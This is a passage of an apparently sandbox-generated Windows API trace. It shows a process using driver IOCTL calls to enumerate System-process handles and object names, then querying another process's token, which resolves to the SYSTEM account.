Object=0xfffffa8002849d20, ObjectNameInfo=0xfffffa8003ab37c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003ab37c4, ReturnLength=0xfffff88005233550) returned 0x0 [0089.931] ObfDereferenceObject (Object=0xfffffa8002849d20) returned 0x2 [0089.932] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.936] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.938] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.938] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.939] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.939] PsAcquireProcessExitSynchronization () returned 0x0 [0089.939] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.939] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ab0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f97930, HandleInformation=0x0) returned 0x0 [0089.939] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.939] PsReleaseProcessExitSynchronization () returned 0x2 [0089.940] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.940] ObQueryNameString (in: Object=0xfffffa8002f97930, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.940] ObfDereferenceObject (Object=0xfffffa8002f97930) returned 0x2 [0089.940] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.940] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.940] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.940] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.941] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.945] PsAcquireProcessExitSynchronization () returned 0x0 [0089.945] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.947] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ab4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800390e050, HandleInformation=0x0) returned 0x0 [0089.947] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.948] PsReleaseProcessExitSynchronization () returned 0x2 [0089.949] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.955] ObQueryNameString (in: Object=0xfffffa800390e050, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233550) returned 0x0 [0089.956] ObfDereferenceObject (Object=0xfffffa800390e050) returned 0x2 [0089.957] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.959] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.961] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.963] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.964] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.965] PsAcquireProcessExitSynchronization () returned 0x0 [0089.965] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.967] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ab8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001a3a9a0, HandleInformation=0x0) returned 0x0 [0089.967] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.969] PsReleaseProcessExitSynchronization () returned 0x2 [0089.970] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.971] ObQueryNameString (in: Object=0xfffffa8001a3a9a0, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.972] ObfDereferenceObject (Object=0xfffffa8001a3a9a0) returned 0x2 [0089.972] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.974] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.977] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.978] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.979] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.980] PsAcquireProcessExitSynchronization () returned 0x0 [0089.981] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.981] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ac4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80038ee410, HandleInformation=0x0) returned 0x0 [0089.983] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.985] PsReleaseProcessExitSynchronization () returned 0x2 [0089.985] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.986] ObQueryNameString (in: Object=0xfffffa80038ee410, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0089.986] ObfDereferenceObject (Object=0xfffffa80038ee410) returned 0x2 [0089.987] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.989] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.990] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.990] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.990] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.990] PsAcquireProcessExitSynchronization () returned 0x0 [0089.990] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.990] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ac8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003020590, HandleInformation=0x0) returned 0x0 [0089.990] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.990] PsReleaseProcessExitSynchronization () returned 0x2 [0089.990] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.990] ObQueryNameString (in: Object=0xfffffa8003020590, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0089.991] ObfDereferenceObject (Object=0xfffffa8003020590) returned 0x2 [0089.991] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.991] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.991] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.991] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.991] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.991] PsAcquireProcessExitSynchronization () returned 0x0 [0089.991] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.991] ObReferenceObjectByHandle (in: Handle=0xffffffff80000acc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002584280, HandleInformation=0x0) returned 0x0 [0089.991] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.991] PsReleaseProcessExitSynchronization () returned 0x2 [0089.991] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.991] ObQueryNameString (in: Object=0xfffffa8002584280, ObjectNameInfo=0xfffffa8003a22044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a22044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.991] ObfDereferenceObject (Object=0xfffffa8002584280) returned 0x2 [0089.991] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.991] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.991] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.991] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.991] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.991] PsAcquireProcessExitSynchronization () returned 0x0 [0089.991] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.992] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ad0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800390ee50, HandleInformation=0x0) returned 0x0 [0089.992] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.992] PsReleaseProcessExitSynchronization () returned 0x2 [0089.992] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.992] ObQueryNameString (in: Object=0xfffffa800390ee50, ObjectNameInfo=0xfffffa8003a80044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a80044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.992] ObfDereferenceObject (Object=0xfffffa800390ee50) returned 0x2 [0089.992] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.992] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.992] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.992] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.992] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.992] PsAcquireProcessExitSynchronization () returned 0x0 [0089.992] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.992] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ad8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80022d26b0, HandleInformation=0x0) returned 0x0 [0089.992] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.992] PsReleaseProcessExitSynchronization () returned 0x2 [0089.992] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.992] ObQueryNameString (in: Object=0xfffffa80022d26b0, ObjectNameInfo=0xfffffa8003acc044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003acc044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.992] ObfDereferenceObject (Object=0xfffffa80022d26b0) returned 0x2 [0089.992] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.992] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.992] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.992] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.992] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.992] PsAcquireProcessExitSynchronization () returned 0x0 [0089.992] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.992] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ae0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800193d050, HandleInformation=0x0) returned 0x0 [0089.992] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.992] PsReleaseProcessExitSynchronization () returned 0x2 [0089.992] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.992] ObQueryNameString (in: Object=0xfffffa800193d050, ObjectNameInfo=0xfffffa8003970044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003970044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.993] ObfDereferenceObject (Object=0xfffffa800193d050) returned 0x2 [0089.993] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.993] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.993] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.993] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.993] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.993] PsAcquireProcessExitSynchronization () returned 0x0 [0089.993] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.993] ObReferenceObjectByHandle (in: Handle=0xffffffff80000aec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80024f8f20, HandleInformation=0x0) returned 0x0 [0089.993] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.993] PsReleaseProcessExitSynchronization () returned 0x2 [0089.993] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.993] ObQueryNameString (in: Object=0xfffffa80024f8f20, ObjectNameInfo=0xfffffa8003a27044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a27044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.993] ObfDereferenceObject (Object=0xfffffa80024f8f20) returned 0x2 [0089.993] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.993] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.993] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.993] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.993] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.993] PsAcquireProcessExitSynchronization () returned 0x0 [0089.993] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.993] ObReferenceObjectByHandle (in: Handle=0xffffffff80000af0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8010da5050, HandleInformation=0x0) returned 0x0 [0089.993] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.993] PsReleaseProcessExitSynchronization () returned 0x2 [0089.993] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.993] ObQueryNameString (in: Object=0xfffffa8010da5050, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.993] ObfDereferenceObject (Object=0xfffffa8010da5050) returned 0x2 [0089.993] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.993] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.993] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.994] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.994] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.994] PsAcquireProcessExitSynchronization () returned 0x0 [0089.994] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.994] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b00, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80036033c0, HandleInformation=0x0) returned 0x0 [0089.994] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.994] PsReleaseProcessExitSynchronization () returned 0x2 [0089.994] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.994] ObQueryNameString (in: Object=0xfffffa80036033c0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233550) returned 0x0 [0089.994] ObfDereferenceObject (Object=0xfffffa80036033c0) returned 0x2 [0089.994] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.994] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.994] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.994] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.994] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.994] PsAcquireProcessExitSynchronization () returned 0x0 [0089.994] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.994] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b04, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80037d0f20, HandleInformation=0x0) returned 0x0 [0089.994] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.994] PsReleaseProcessExitSynchronization () returned 0x2 [0089.994] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.994] ObQueryNameString (in: Object=0xfffffa80037d0f20, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.994] ObfDereferenceObject (Object=0xfffffa80037d0f20) returned 0x2 [0089.994] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.994] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.994] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.994] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.994] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.994] PsAcquireProcessExitSynchronization () returned 0x0 [0089.994] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.994] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b08, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80037d1f20, HandleInformation=0x0) returned 0x0 [0089.994] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.994] PsReleaseProcessExitSynchronization () returned 0x2 [0089.994] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.994] ObQueryNameString (in: Object=0xfffffa80037d1f20, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0089.995] ObfDereferenceObject (Object=0xfffffa80037d1f20) returned 0x2 [0089.995] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.995] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.995] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x104) returned 0xc0 [0089.995] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0089.995] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8002b79b30, HandleInformation=0x0) returned 0x0 [0089.995] ObOpenObjectByPointer (in: Object=0xfffffa8002b79b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000960) returned 0x0 [0089.995] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x1b [0089.995] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000960, DesiredAccess=0x8, TokenHandle=0xfffffa8003852640 | out: TokenHandle=0xfffffa8003852640*=0xc8) returned 0x0 [0089.995] ZwClose (Handle=0xffffffff80000960) returned 0x0 [0089.995] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.995] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0089.995] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0089.996] CloseHandle 